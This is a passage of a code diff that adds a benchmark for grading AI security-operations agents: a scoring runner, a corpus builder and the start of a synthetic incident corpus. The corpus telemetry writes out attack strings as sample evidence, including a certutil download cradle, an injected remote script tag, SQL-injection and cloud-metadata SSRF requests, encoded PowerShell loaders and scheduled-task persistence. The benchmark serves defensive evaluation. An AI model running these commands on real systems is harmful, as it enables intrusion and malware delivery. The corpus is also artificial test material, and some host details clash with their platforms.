+correct. ``BenchmarkResult.corpus_provenance`` travels with the result so a
+downstream consumer cannot drop it, and the runner refuses to emit an
+unlabelled corpus.
+"""
+
+from __future__ import annotations
+
+import asyncio
+import json
+import logging
+import time
+from collections import Counter
+from pathlib import Path
+from typing import Any
+
+from .adapter import AgentVerdict, BenchmarkIncident
+from .metrics import BenchmarkResult, aggregate, score_incident
+
+logger = logging.getLogger("aisoc.benchmark")
+
+#: Every incident must declare where it came from. "synthetic" is an honest
+#: answer; absent is not, because the reader then assumes the generous one.
+VALID_PROVENANCE = frozenset(
+ {
+ "synthetic", # generated for this harness
+ "public-dataset", # CICIDS, AIT-LDS, MITRE Engenuity and similar
+ "real-anonymised", # a real incident, scrubbed
+ "adversary-emulation", # Caldera / Atomic Red Team output
+ }
+)
+
+#: One agent must not be able to hang the whole run.
+PER_INCIDENT_TIMEOUT_SECONDS = 300.0
+
+
+class CorpusError(ValueError):
+ pass
+
+
+def load_corpus(path: Path) -> tuple[list[BenchmarkIncident], list[dict[str, Any]], dict[str, int]]:
+ """Read a corpus file. Returns incidents, ground truth, and provenance counts."""
+ try:
+ raw = json.loads(Path(path).read_text(encoding="utf-8"))
+ except Exception as exc:
+ raise CorpusError(f"could not read corpus {path}: {exc}") from exc
+
+ records = raw.get("incidents") if isinstance(raw, dict) else raw
+ if not isinstance(records, list) or not records:
+ raise CorpusError(f"corpus {path} contains no incidents")
+
+ incidents: list[BenchmarkIncident] = []
+ truth: list[dict[str, Any]] = []
+ provenance: Counter[str] = Counter()
+
+ for index, record in enumerate(records):
+ if not isinstance(record, dict):
+ raise CorpusError(f"corpus entry {index} is not an object")
+
+ source = str(record.get("provenance", "")).strip().lower()
+ if source not in VALID_PROVENANCE:
+ raise CorpusError(
+ f"corpus entry {record.get('id', index)!r} declares provenance "
+ f"{source!r}; must be one of {sorted(VALID_PROVENANCE)}. A figure "
+ f"computed over synthetic incidents is a synthetic figure, and an "
+ f"unlabelled corpus lets a reader assume otherwise."
+ )
+ provenance[source] += 1
+
+ incidents.append(
+ BenchmarkIncident(
+ incident_id=str(record.get("id", f"incident-{index}")),
+ title=str(record.get("title", "")),
+ description=str(record.get("description", "")),
+ severity=str(record.get("severity", "medium")),
+ raw_alert=record.get("raw_alert") or {},
+ telemetry=record.get("telemetry") or [],
+ )
+ )
+ truth.append(
+ {
+ "disposition": record.get("expected_disposition") or record.get("disposition") or "",
+ "techniques": record.get("expected_techniques") or record.get("techniques") or [],
+ "actions": record.get("expected_actions") or [],
+ }
+ )
+
+ return incidents, truth, dict(provenance)
+
+
+async def run_benchmark(
+ agent: Any,
+ corpus_path: Path,
+ *,
+ concurrency: int = 4,
+ limit: int | None = None,
+) -> BenchmarkResult:
+ """Grade ``agent`` over the corpus.
+
+ An exception from the agent is scored as an abstention with the failure
+ named, never propagated. A harness that dies on one bad response grades
+ nothing, and the entrant will reasonably assume the fault is ours.
+ """
+ incidents, truth, provenance = load_corpus(corpus_path)
+ if limit:
+ incidents, truth = incidents[:limit], truth[:limit]
+ # Recount over the slice. Reporting the full corpus provenance
+ # alongside a truncated run overstates what was actually graded,
+ # which is the same class of error the labelling exists to prevent.
+ kept = {i.incident_id for i in incidents}
+ provenance = dict(
+ Counter(r["provenance"] for r in json.loads(Path(corpus_path).read_text(encoding="utf-8"))["incidents"] if r.get("id") in kept)
+ )
+
+ semaphore = asyncio.Semaphore(max(1, concurrency))
+
+ async def _one(incident: BenchmarkIncident, expected: dict[str, Any]):
+ async with semaphore:
+ started = time.monotonic()
+ try:
+ verdict = await asyncio.wait_for(agent.investigate(incident), timeout=PER_INCIDENT_TIMEOUT_SECONDS)
+ except TimeoutError:
+ verdict = AgentVerdict(
+ abstained=True,
+ narrative=f"agent exceeded {PER_INCIDENT_TIMEOUT_SECONDS:.0f}s",
+ )
+ except Exception as exc:
+ verdict = AgentVerdict(
+ abstained=True,
+ narrative=f"agent raised {type(exc).__name__}: {exc}",
+ )
+ # Measured here rather than trusted from the agent: self-reported
+ # latency is the one number an entrant has an incentive to shade.
+ if not verdict.latency_ms:
+ verdict.latency_ms = int((time.monotonic() - started) * 1000)
+ return score_incident(incident, verdict, expected)
+
+ scores = await asyncio.gather(*(_one(i, t) for i, t in zip(incidents, truth, strict=True)))
+
+ result = aggregate(
+ getattr(agent, "name", "unknown"),
+ getattr(agent, "version", "unknown"),
+ list(scores),
+ corpus_provenance=provenance,
+ )
+ logger.info(
+ "benchmark complete agent=%s incidents=%d accuracy=%.3f hallucination=%.3f abstention=%.3f",
+ result.agent_name,
+ result.incidents,
+ result.disposition_accuracy,
+ result.hallucination_rate,
+ result.abstention_rate,
+ )
+ return result
+
+
+def format_report(result: BenchmarkResult) -> str:
+ """Human-readable summary.
+
+ Provenance leads. The temptation is to open with the accuracy figure, and
+ a reader who sees 0.94 before they see "synthetic: 200" has already
+ formed an impression the caveat will not undo.
+ """
+ provenance = ", ".join(f"{k}: {v}" for k, v in sorted(result.corpus_provenance.items()))
+ lines = [
+ f"Agent: {result.agent_name} {result.agent_version}",
+ f"Corpus: {result.incidents} incidents ({provenance or 'unlabelled'})",
+ "",
+ "Accuracy (over answered incidents only — abstaining does not raise it)",
+ f" disposition accuracy {result.disposition_accuracy:.3f}",
+ f" technique recall {result.technique_recall:.3f}",
+ f" technique precision {result.technique_precision:.3f}",
+ ]
+ if result.containment_accuracy is not None:
+ lines.append(f" containment accuracy {result.containment_accuracy:.3f}")
+
+ lines += [
+ "",
+ "Honesty",
+ f" abstention rate {result.abstention_rate:.3f}",
+ f" hallucination rate {result.hallucination_rate:.3f} "
+ f"({result.hallucinated_total}/{result.indicators_checked} cited indicators "
+ f"absent from the evidence)",
+ f" calibration gap {result.calibration_gap:+.3f} "
+ f"(confidence when right minus when wrong; near zero means the score "
+ f"carries no information)",
+ "",
+ "Cost",
+ f" mean latency {result.mean_latency_ms:.0f} ms",
+ f" p95 latency {result.p95_latency_ms:.0f} ms",
+ f" total tokens {result.total_tokens}",
+ f" mean USD per incident {result.mean_usd_per_incident:.6f}",
+ f" mean distinct tools {result.mean_distinct_tools:.1f}",
+ ]
+ return "\n".join(lines)
diff --git a/packages/aisoc-benchmark/build_corpus.py b/packages/aisoc-benchmark/build_corpus.py
new file mode 100644
index 000000000..e5d675f5f
--- /dev/null
+++ b/packages/aisoc-benchmark/build_corpus.py
@@ -0,0 +1,120 @@
+#!/usr/bin/env python3
+"""Build the benchmark corpus from the in-tree eval data, labelled by provenance.
+
+Regenerated rather than hand-maintained so the benchmark corpus and the
+harness corpus cannot diverge — two hand-edited copies of 200 incidents drift
+within a release, and the published figure then describes a corpus nobody has.
+
+Provenance is stamped per incident. Everything sourced from
+``synthetic_incidents.json`` is labelled ``synthetic``, because it is, and a
+figure computed over it is a synthetic figure. Public-dataset and
+adversary-emulation entries carry their own labels as they are folded in.
+
+Run: python3 packages/aisoc-benchmark/build_corpus.py
+"""
+
+from __future__ import annotations
+
+import json
+from pathlib import Path
+
+REPO_ROOT = Path(__file__).resolve().parent.parent.parent
+EVAL_DATA = REPO_ROOT / "services" / "agents" / "tests" / "eval_data"
+OUT = Path(__file__).resolve().parent / "corpus" / "soc-agent-benchmark-v1.json"
+
+#: response_class in the harness corpus maps to the containment verbs an
+#: agent might propose. Several verbs per class because a vendor's action
+#: vocabulary is legitimately their own, and grading on an exact match would
+#: measure naming rather than containment.
+RESPONSE_CLASS_ACTIONS: dict[str, list[str]] = {
+ "block_indicator": ["block_ip", "block_domain", "block_hash", "block_ioc"],
+ "isolate_host": ["isolate_host", "quarantine_host", "contain_host"],
+ "disable_account": ["disable_user", "suspend_user", "block_user_signin"],
+ "reset_credentials": ["reset_password", "revoke_session", "suspend_session", "force_mfa"],
+ "kill_process": ["kill_process", "terminate_process"],
+ "quarantine_file": ["quarantine_file", "delete_file"],
+ "escalate": ["escalate", "create_ticket", "notify"],
+ "monitor": ["monitor", "no_action", "watchlist"],
+}
+
+
+def _disposition(record: dict) -> str:
+ """Derive the expected disposition from severity and response class.
+
+ The harness corpus does not carry one directly. Monitoring-only incidents
+ are the benign tail; everything with a containment response is malicious.
+ Stated here rather than inferred at scoring time so the mapping is
+ reviewable.
+ """
+ response = str(record.get("response_class", ""))
+ if response in ("monitor", ""):
+ return "benign"
+ if response == "escalate":
+ return "suspicious"
+ return "malicious"
+
+
+def build() -> dict:
+ source = EVAL_DATA / "synthetic_incidents.json"
+ raw = json.loads(source.read_text(encoding="utf-8"))
+ records = raw if isinstance(raw, list) else raw.get("incidents", [])
+
+ incidents = []
+ for record in records:
+ response = str(record.get("response_class", ""))
+ incidents.append(
+ {
+ "id": record["id"],
+ # Honest and unavoidable: these were generated for the
+ # harness. Labelling them anything else would make every
+ # figure derived from them a misrepresentation.
+ "provenance": "synthetic",
+ "title": record.get("title", ""),
+ "description": record.get("description", ""),
+ "severity": record.get("severity", "medium"),
+ "raw_alert": {
+ "title": record.get("title", ""),
+ "severity": record.get("severity", "medium"),
+ "template_id": record.get("template_id", ""),
+ },
+ # The evidence the agent may reason over. An indicator cited
+ # but absent from here is counted as a hallucination, so this
+ # has to be the complete evidence set.
+ "telemetry": record.get("telemetry") or [],
+ "expected_disposition": _disposition(record),
+ "expected_techniques": record.get("expected_techniques") or [],
+ "expected_actions": RESPONSE_CLASS_ACTIONS.get(response, []),
+ }
+ )
+
+ return {
+ "corpus_id": "soc-agent-benchmark-v1",
+ "version": 1,
+ "_readme": (
+ "Every incident declares its provenance. A figure computed over "
+ "synthetic incidents is a synthetic figure, and a scoreboard that "
+ "omits that is misleading even when every number in it is "
+ "arithmetically correct. Generated by "
+ "packages/aisoc-benchmark/build_corpus.py — do not edit by hand, "
+ "or this copy and the harness copy will drift within a release."
+ ),
+ "incidents": incidents,
+ }
+
+
+def main() -> int:
+ corpus = build()
+ OUT.parent.mkdir(parents=True, exist_ok=True)
+ OUT.write_text(json.dumps(corpus, indent=1) + "\n", encoding="utf-8")
+
+ counts: dict[str, int] = {}
+ for incident in corpus["incidents"]:
+ counts[incident["provenance"]] = counts.get(incident["provenance"], 0) + 1
+ print(f"wrote {len(corpus['incidents'])} incidents to {OUT}")
+ for source, count in sorted(counts.items()):
+ print(f" {source:<20} {count}")
+ return 0
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
diff --git a/packages/aisoc-benchmark/corpus/soc-agent-benchmark-v1.json b/packages/aisoc-benchmark/corpus/soc-agent-benchmark-v1.json
new file mode 100644
index 000000000..1f8dc2d71
--- /dev/null
+++ b/packages/aisoc-benchmark/corpus/soc-agent-benchmark-v1.json
@@ -0,0 +1,8547 @@
+{
+ "corpus_id": "soc-agent-benchmark-v1",
+ "version": 1,
+ "_readme": "Every incident declares its provenance. A figure computed over synthetic incidents is a synthetic figure, and a scoreboard that omits that is misleading even when every number in it is arithmetically correct. Generated by packages/aisoc-benchmark/build_corpus.py \u2014 do not edit by hand, or this copy and the harness copy will drift within a release.",
+ "incidents": [
+ {
+ "id": "INC-EVAL-001",
+ "provenance": "synthetic",
+ "title": "Spear-phishing email with macro-laden attachment delivered to [email protected]",
+ "description": "Inbound email from 45.142.122.111 delivered an Office document with a malicious VBA macro to [email protected]. Attachment opened on WIN-DC-PRIMARY; macro spawned cmd.exe and downloaded a stage-2 payload from a known Lazarus infrastructure.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Spear-phishing email with macro-laden attachment delivered to [email protected]",
+ "severity": "high",
+ "template_id": "phishing-macro-email"
+ },
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "Send",
+ "UserId": "[email protected]",
+ "ClientIP": "45.142.122.111",
+ "Subject": "Q4 invoice (action required)",
+ "AttachmentNames": [
+ "invoice_q4.docm"
+ ]
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-DC-PRIMARY",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\cmd.exe",
+ "ParentImage": "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE",
+ "CommandLine": "cmd.exe /c powershell -nop -w hidden -enc <stage2>"
+ },
+ {
+ "source": "edr",
+ "rule": "Office macro spawned cmd.exe",
+ "severity": "high",
+ "Computer": "WIN-DC-PRIMARY",
+ "User": "[email protected]",
+ "threat_actor": "Lazarus"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1566.001",
+ "T1059.005"
+ ],
+ "expected_actions": [
+ "block_ip",
+ "block_domain",
+ "block_hash",
+ "block_ioc"
+ ]
+ },
+ {
+ "id": "INC-EVAL-002",
+ "provenance": "synthetic",
+ "title": "Exploitation of public-facing web app on LIN-BUILD-CI03",
+ "description": "WAF logs show SQL-injection and SSRF probes from 172.16.50.7 against the application on LIN-BUILD-CI03. One request returned 200 with internal cloud-metadata content. Likely exploitation of CVE-2024-1234.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Exploitation of public-facing web app on LIN-BUILD-CI03",
+ "severity": "critical",
+ "template_id": "webapp-sqli-ssrf-exploit"
+ },
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "GET",
+ "url": "https://LIN-BUILD-CI03/search?q=' OR 1=1--",
+ "status_code": 200,
+ "src_ip": "172.16.50.7",
+ "user_agent": "curl/8.4.0",
+ "rule_match": "WAF:SQLI:1011",
+ "cve": "CVE-2024-1234"
+ },
+ {
+ "source": "web_access",
+ "http_method": "GET",
+ "url": "https://LIN-BUILD-CI03/proxy?u=http://169.254.169.254/latest/meta-data/",
+ "status_code": 200,
+ "src_ip": "172.16.50.7",
+ "user_agent": "curl/8.4.0",
+ "rule_match": "WAF:SSRF:2007"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1190",
+ "T1082"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-003",
+ "provenance": "synthetic",
+ "title": "Watering-hole exploit served from internal Confluence by 203.0.113.45",
+ "description": "Internal Confluence page injected with malicious JavaScript by 203.0.113.45. Drive-by exploit triggered browser exploitation on multiple visitors including [email protected]. Linked to Lazarus TTPs.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Watering-hole exploit served from internal Confluence by 203.0.113.45",
+ "severity": "high",
+ "template_id": "confluence-watering-hole"
+ },
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "POST",
+ "url": "https://confluence.example.com/pages/editpage.action?pageId=8472",
+ "status_code": 200,
+ "src_ip": "203.0.113.45",
+ "user_agent": "Mozilla/5.0",
+ "payload_excerpt": "<script src=//203.0.113.45/x.js></script>"
+ },
+ {
+ "source": "edr",
+ "rule": "Browser exploitation: drive-by JavaScript loader",
+ "severity": "high",
+ "Computer": "WIN-HR-DESKTOP",
+ "User": "[email protected]",
+ "threat_actor": "Lazarus"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1189",
+ "T1203"
+ ],
+ "expected_actions": [
+ "block_ip",
+ "block_domain",
+ "block_hash",
+ "block_ioc"
+ ]
+ },
+ {
+ "id": "INC-EVAL-004",
+ "provenance": "synthetic",
+ "title": "Supply-chain compromise: malicious npm package on WIN-DC-PRIMARY",
+ "description": "CI pipeline on WIN-DC-PRIMARY installed compromised npm package `event-stream`. Post-install hook executed reverse shell to 198.51.100.23. Build artefacts may be tainted.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Supply-chain compromise: malicious npm package on WIN-DC-PRIMARY",
+ "severity": "critical",
+ "template_id": "npm-supply-chain"
+ },
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/usr/bin/node",
+ "a0": "node",
+ "a1": "/tmp/node_modules/event-stream/postinstall.js",
+ "hostname": "WIN-DC-PRIMARY",
+ "user": "ci-runner"
+ },
+ {
+ "source": "github_audit",
+ "action": "workflow_run.completed",
+ "workflow": "ci.yml",
+ "actor": "dependabot[bot]",
+ "repository": "aisoc/web",
+ "conclusion": "success",
+ "package_added": "[email protected]"
+ },
+ {
+ "source": "edr",
+ "rule": "npm post-install reverse shell",
+ "severity": "high",
+ "Computer": "WIN-DC-PRIMARY",
+ "User": "ci-runner",
+ "dest_ip": "198.51.100.23",
+ "dest_port": 4444
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1195.001",
+ "T1059.007"
+ ],
+ "expected_actions": []
+ },
+ {
+ "id": "INC-EVAL-005",
+ "provenance": "synthetic",
+ "title": "Malicious USB autorun on air-gapped host WIN-DEVOPS-LT",
+ "description": "USB device inserted on air-gapped WIN-DEVOPS-LT by [email protected]. AutoRun executed Python stager that collected local files. Data staged in C:\\Temp\\.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Malicious USB autorun on air-gapped host WIN-DEVOPS-LT",
+ "severity": "high",
+ "template_id": "usb-autorun-airgap"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 6416,
+ "Computer": "WIN-DEVOPS-LT",
+ "SubjectUserName": "[email protected]",
+ "ClassName": "USB",
+ "DeviceDescription": "SanDisk Cruzer 16GB"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-DEVOPS-LT",
+ "User": "[email protected]",
+ "Image": "C:\\Python311\\python.exe",
+ "ParentImage": "C:\\Windows\\System32\\rundll32.exe",
+ "CommandLine": "python.exe E:\\autorun.py --stage C:\\Temp\\"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1091",
+ "T1005"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-006",
+ "provenance": "synthetic",
+ "title": "OAuth consent phishing targeting [email protected]",
+ "description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 91.134.231.15.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "OAuth consent phishing targeting [email protected]",
+ "severity": "high",
+ "template_id": "oauth-consent-phish"
+ },
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "AzureActiveDirectory",
+ "Operation": "Consent to application.",
+ "UserId": "[email protected]",
+ "ApplicationId": "00000003-0000-0ff1-ce00-000000000000",
+ "ConsentedScopes": [
+ "Mail.Read",
+ "Files.Read.All",
+ "offline_access"
+ ]
+ },
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "New-InboxRule",
+ "UserId": "[email protected]",
+ "Parameters": {
+ "Name": "Auto-fwd",
+ "ForwardTo": "[email protected]",
+ "DeleteMessage": true
+ }
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1528",
+ "T1550.001"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-007",
+ "provenance": "synthetic",
+ "title": "Obfuscated PowerShell dropper executed on LIN-OBS-LOGGER",
+ "description": "PowerShell dropper executed on LIN-OBS-LOGGER by [email protected]; payload base64-encoded and decoded in-memory. Linked to MagicWeb ransomware staging.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Obfuscated PowerShell dropper executed on LIN-OBS-LOGGER",
+ "severity": "critical",
+ "template_id": "powershell-obfuscated-dropper"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "LIN-OBS-LOGGER",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
+ "ParentImage": "C:\\Windows\\explorer.exe",
+ "CommandLine": "powershell.exe -nop -w hidden -enc JABzAD0ATgB..."
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4104,
+ "Computer": "LIN-OBS-LOGGER",
+ "User": "[email protected]",
+ "ScriptBlockText": "$s=[System.Convert]::FromBase64String(...);[Reflection.Assembly]::Load($s).EntryPoint.Invoke(...)",
+ "threat_actor": "MagicWeb"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1059.001",
+ "T1027"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-008",
+ "provenance": "synthetic",
+ "title": "Living-off-the-land: certutil download cradle on AWS-EC2-PROD-API",
+ "description": "certutil.exe -urlcache invoked from cmd.exe on AWS-EC2-PROD-API. cmd.exe was spawned by outlook.exe. Payload downloaded from 172.16.50.7.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Living-off-the-land: certutil download cradle on AWS-EC2-PROD-API",
+ "severity": "high",
+ "template_id": "certutil-download-cradle"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "AWS-EC2-PROD-API",
+ "Image": "C:\\Windows\\System32\\certutil.exe",
+ "ParentImage": "C:\\Windows\\System32\\cmd.exe",
+ "CommandLine": "certutil -urlcache -split -f http://172.16.50.7/p.exe %TEMP%\\p.exe"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "AWS-EC2-PROD-API",
+ "Image": "C:\\Windows\\System32\\certutil.exe",
+ "DestinationIp": "172.16.50.7",
+ "DestinationPort": 80,
+ "Protocol": "tcp"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1105",
+ "T1218.009"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-009",
+ "provenance": "synthetic",
+ "title": "Container runtime abuse: malicious `docker run` on LIN-EDGE-VPN02",
+ "description": "Unauthenticated Docker API on LIN-EDGE-VPN02 exploited from 198.51.100.23. Container with cryptominer spawned. CPU on host saturated to 95%.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Container runtime abuse: malicious `docker run` on LIN-EDGE-VPN02",
+ "severity": "high",
+ "template_id": "docker-runtime-abuse"
+ },
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "POST",
+ "url": "http://LIN-EDGE-VPN02:2375/containers/create",
+ "status_code": 201,
+ "src_ip": "198.51.100.23",
+ "request_body": {
+ "Image": "monero/xmrig",
+ "HostConfig": {
+ "Privileged": true
+ }
+ }
+ },
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/usr/bin/docker",
+ "a0": "docker",
+ "a1": "run",
+ "a2": "--privileged",
+ "hostname": "LIN-EDGE-VPN02",
+ "user": "root"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1610",
+ "T1059.004",
+ "T1496"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-010",
+ "provenance": "synthetic",
+ "title": "Malicious WMI subscription on AZURE-VM-FIN-001",
+ "description": "Permanent WMI event subscription created on AZURE-VM-FIN-001 by [email protected]. Consumer runs encoded script. Persistence + execution mechanism.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Malicious WMI subscription on AZURE-VM-FIN-001",
+ "severity": "high",
+ "template_id": "wmi-event-subscription"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 19,
+ "Computer": "AZURE-VM-FIN-001",
+ "User": "[email protected]",
+ "EventNamespace": "ROOT\\Subscription",
+ "Name": "UpdaterFilter",
+ "Query": "SELECT * FROM __InstanceModificationEvent WITHIN 60"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 21,
+ "Computer": "AZURE-VM-FIN-001",
+ "Operation": "Created",
+ "Name": "UpdaterConsumer",
+ "Type": "CommandLineEventConsumer",
+ "Destination": "powershell.exe -enc <encoded>"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1546.003",
+ "T1059.001"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-011",
+ "provenance": "synthetic",
+ "title": "Registry Run key persistence created by [email protected] on AWS-EC2-PROD-API",
+ "description": "New value written to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run on AWS-EC2-PROD-API. Points to roaming binary signed with revoked cert. Linked to Volt Typhoon.",
+ "severity": "medium",
+ "raw_alert": {
+ "title": "Registry Run key persistence created by [email protected] on AWS-EC2-PROD-API",
+ "severity": "medium",
+ "template_id": "registry-run-persistence"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 13,
+ "Computer": "AWS-EC2-PROD-API",
+ "User": "[email protected]",
+ "EventType": "SetValue",
+ "TargetObject": "HKU\\S-1-5-21-...\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
+ "Details": "C:\\Users\\[email protected]\\AppData\\Roaming\\updater.exe"
+ },
+ {
+ "source": "edr",
+ "rule": "Persistence: Registry Run with revoked-cert signed binary",
+ "severity": "high",
+ "Computer": "AWS-EC2-PROD-API",
+ "User": "[email protected]",
+ "threat_actor": "Volt Typhoon"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1547.001"
+ ],
+ "expected_actions": []
+ },
+ {
+ "id": "INC-EVAL-012",
+ "provenance": "synthetic",
+ "title": "Scheduled task persistence on GCP-GKE-NODE-04",
+ "description": "Hidden scheduled task created on GCP-GKE-NODE-04 by [email protected]: triggers every 30 minutes, runs script from %APPDATA%\\Roaming. Persistence mechanism.",
+ "severity": "medium",
+ "raw_alert": {
+ "title": "Scheduled task persistence on GCP-GKE-NODE-04",
+ "severity": "medium",
+ "template_id": "scheduled-task-persistence"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4698,
+ "Computer": "GCP-GKE-NODE-04",
+ "SubjectUserName": "[email protected]",
+ "TaskName": "\\Microsoft\\Windows\\UpdaterTask",
+ "TaskContent": "<Hidden>true</Hidden><Exec>%APPDATA%\\Roaming\\u.ps1</Exec>"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "GCP-GKE-NODE-04",
+ "Image": "C:\\Windows\\System32\\schtasks.exe",
+ "ParentImage": "C:\\Windows\\System32\\cmd.exe",
+ "CommandLine": "schtasks /Create /SC MINUTE /MO 30 /TN UpdaterTask /TR \"powershell -f %APPDATA%\\Roaming\\u.ps1\" /F",
+ "User": "[email protected]"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1053.005"
+ ],
+ "expected_actions": []
+ },
+ {
+ "id": "INC-EVAL-013",
+ "provenance": "synthetic",
+ "title": "Firmware implant detected on UEFI partition of WIN-FIN-DB01",
+ "description": "UEFI secure-boot violation on WIN-FIN-DB01. Unknown module detected in firmware. Signature matches MosaicRegressor implant.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Firmware implant detected on UEFI partition of WIN-FIN-DB01",
+ "severity": "critical",
+ "template_id": "uefi-firmware-implant"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4673,
+ "Computer": "WIN-FIN-DB01",
+ "ObjectName": "\\Device\\HarddiskVolume1\\EFI\\Microsoft\\Boot\\bootmgfw.efi",
+ "ProcessName": "C:\\Windows\\System32\\driver_signing.exe"
+ },
+ {
+ "source": "edr",
+ "rule": "UEFI implant: MosaicRegressor signature match",
+ "severity": "critical",
+ "Computer": "WIN-FIN-DB01",
+ "indicator_path": "ESP:/EFI/Boot/bootx64.efi"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1542.001",
+ "T1027.002"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-014",
+ "provenance": "synthetic",
+ "title": "Backdoor cron job installed on WIN-HR-DESKTOP",
+ "description": "/etc/cron.d entry created by [email protected] on WIN-HR-DESKTOP. Reverse shell beacon to 203.0.113.45 every 5 minutes.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Backdoor cron job installed on WIN-HR-DESKTOP",
+ "severity": "high",
+ "template_id": "cron-backdoor"
+ },
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "openat",
+ "exe": "/usr/bin/vi",
+ "path": "/etc/cron.d/zz-update",
+ "hostname": "WIN-HR-DESKTOP",
+ "user": "[email protected]",
